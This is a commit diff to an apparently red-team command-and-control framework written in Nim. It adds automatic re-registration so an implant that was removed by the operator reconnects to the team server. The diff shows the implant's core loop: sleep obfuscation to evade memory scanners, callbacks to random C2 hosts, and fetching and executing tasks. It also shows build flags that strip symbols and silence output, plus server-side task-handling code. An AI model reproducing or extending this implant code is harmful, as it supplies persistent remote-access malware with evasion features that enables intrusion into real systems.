Agent now re-registers to the team-server when it is still alive after it was removed via the client.

src/agent/core/context.nim

@@ -37,7 +37,8 @@ proc deserializeConfiguration(config: string): AgentCtx =
         ),
         sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
         agentPublicKey: agentKeyPair.publicKey,
-        profile: parseString(unpacker.getDataWithLengthPrefix())
+        profile: parseString(unpacker.getDataWithLengthPrefix()),
+        registered: false
     ) 
 
     wipeKey(agentKeyPair.privateKey)

src/agent/core/http.nim

@@ -51,10 +51,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
         # Select random callback host
         let hosts = ctx.hosts.split(";")
         let host = hosts[rand(hosts.len() - 1)]
-        let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
-    
+        let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
+
+        # Check the HTTP status code to determine whether the agent needs to re-register to the team server
+        if response.code == Http404: 
+            ctx.registered = false
+
         # Return if no tasks are queued
-        if responseBody.len <= 0: 
+        let responseBody = waitFor response.body
+        if responseBody.len() <= 0: 
             return ""
 
         # In case that tasks are found, apply data transformation to server's response body to get thr raw data

src/agent/main.nim

@@ -17,22 +17,34 @@ proc main() =
     var registration: AgentRegistrationData = ctx.collectAgentMetadata()
     let registrationBytes = ctx.serializeRegistrationData(registration)
 
-    if not ctx.httpPost(registrationBytes): 
-        print("[-] Agent registration failed.")
-        quit(0)
-    print fmt"[+] [{ctx.agentId}] Agent registered."
+    if ctx.httpPost(registrationBytes): 
+        print fmt"[+] [{ctx.agentId}] Agent registered."
+        ctx.registered = true
+    else: 
+        print "[-] Agent registration failed."
 
     #[
         Agent routine: 
-        1. Sleep Obfuscation
-        2. Retrieve tasks via checkin request to a GET endpoint
-        3. Execute task and post result
-        4. If additional tasks have been fetched, go to 3.
-        5. If no more tasks need to be executed, go to 1. 
+        1. Register to the team server if not already register
+        2. Sleep Obfuscation
+        3. Retrieve tasks via checkin request to a GET endpoint
+        4. Execute task and post result
+        5. If additional tasks have been fetched, go to 3.
+        6. If no more tasks need to be executed, go to 1. 
     ]#
     while true: 
+
         # Sleep obfuscation to evade memory scanners
         sleepObfuscate(ctx.sleepSettings)
+        
+        # Register
+        if not ctx.registered: 
+            if ctx.httpPost(registrationBytes): 
+                print fmt"[+] [{ctx.agentId}] Agent registered."
+                ctx.registered = true
+            else: 
+                print "[-] Agent registration failed."
+                continue
 
         let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
         print "\n", fmt"[*] [{date}] Checking in."
@@ -46,13 +58,13 @@ proc main() =
                 packet: string = ctx.httpGet(heartbeatBytes)
 
             if packet.len <= 0: 
-                print("[*] No tasks to execute.")
+                print "[*] No tasks to execute."
                 continue
 
             let tasks: seq[Task] = ctx.deserializePacket(packet)
             
             if tasks.len <= 0: 
-                print("[*] No tasks to execute.")
+                print "[*] No tasks to execute."
                 continue
 
             # Execute all retrieved tasks and return their output to the server
@@ -63,7 +75,7 @@ proc main() =
                 ctx.httpPost(resultBytes)
 
         except CatchableError as err: 
-            print("[-] ", err.msg)
+            print "[-] ", err.msg
 
 when isMainModule:
     main() 

src/agent/nim.cfg

@@ -5,5 +5,5 @@
 --passL:"-s" # Strip symbols, such as sensitive function names
 -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
 -d:MODULES="511"
--d:VERBOSE="true"
+-d:VERBOSE="false"
 -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

src/common/types.nim

@@ -336,6 +336,7 @@ type
         sessionKey*: Key
         agentPublicKey*: Key
         profile*: Profile
+        registered*: bool
         
 # Structure for command module definitions 
 type

src/server/api/handlers.nim

@@ -47,38 +47,33 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
 
     {.cast(gcsafe).}:
 
-        try:
-            # Deserialize checkin request to obtain agentId and listenerId 
-            let 
-                request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
-                agentId = Uuid.toString(request.header.agentId)
-                listenerId = Uuid.toString(request.listenerId)
-                timestamp = request.timestamp
+        # Deserialize checkin request to obtain agentId and listenerId 
+        let 
+            request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
+            agentId = Uuid.toString(request.header.agentId)
+            listenerId = Uuid.toString(request.listenerId)
+            timestamp = request.timestamp
 
-            var tasks: seq[seq[byte]]
+        var tasks: seq[seq[byte]]
 
-            # Check if listener exists
-            if not cq.dbListenerExists(listenerId): 
-                raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n")
+        # Check if listener exists
+        if not cq.dbListenerExists(listenerId): 
+            raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n")
 
-            # Check if agent exists
-            if not cq.dbAgentExists(agentId): 
-                raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
+        # Check if agent exists
+        if not cq.dbAgentExists(agentId): 
+            raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
 
-            # Update the last check-in date for the accessed agent
-            cq.agents[agentId].latestCheckin = cast[int64](timestamp)
-            cq.client.sendAgentCheckin(agentId)
+        # Update the last check-in date for the accessed agent
+        cq.agents[agentId].latestCheckin = cast[int64](timestamp)
+        cq.client.sendAgentCheckin(agentId)
 
-            # Return tasks
-            for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
-                let taskData = cq.serializeTask(task)
-                tasks.add(taskData)
-            
-            return (agentId, tasks)
-
-        except CatchableError as err:
-            cq.error(err.msg) 
-            return ("", @[])
+        # Return tasks
+        for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
+            let taskData = cq.serializeTask(task)
+            tasks.add(taskData)
+        
+        return (agentId, tasks)
 
 proc handleResult*(resultData: seq[byte]) =